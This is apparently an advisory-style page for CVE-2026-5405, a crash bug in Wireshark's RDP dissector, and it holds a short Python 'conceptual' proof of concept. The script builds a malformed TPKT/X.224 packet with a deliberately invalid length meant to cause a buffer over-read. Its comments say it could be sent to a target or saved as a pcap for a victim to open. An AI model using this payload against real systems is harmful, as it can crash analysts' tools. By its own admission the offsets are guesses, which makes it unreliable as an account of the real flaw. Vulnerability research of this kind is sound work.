CVE-2026-5405 Wireshark RDP协议解析器崩溃漏洞

import socket import struct # Conceptual PoC for CVE-2026-5405 # This script attempts to generate a malformed packet that triggers the RDP dissector crash. # Note: Specific offsets and malformed data structure depend on the actual upstream patch. def create_malformed_rdp_packet(): # RDP Connection Request PDU header structure # TPKT Header (4 bytes): Version, Reserved, Length tpkt_header = b"\x03\x00" + struct.pack(">H", 0x0010) # X.224 Connection Request (variable) # Intentionally setting an invalid length to trigger buffer over-read x224_data = b"\xe0\x00\x00\x00" + b"A" * 100 return tpkt_header + x224_data # In a real attack scenario, this packet would be sent to a target # or saved to a pcap file which is then opened by the victim. payload = create_malformed_rdp_packet() print(f"Generated malformed payload length: {len(payload)}")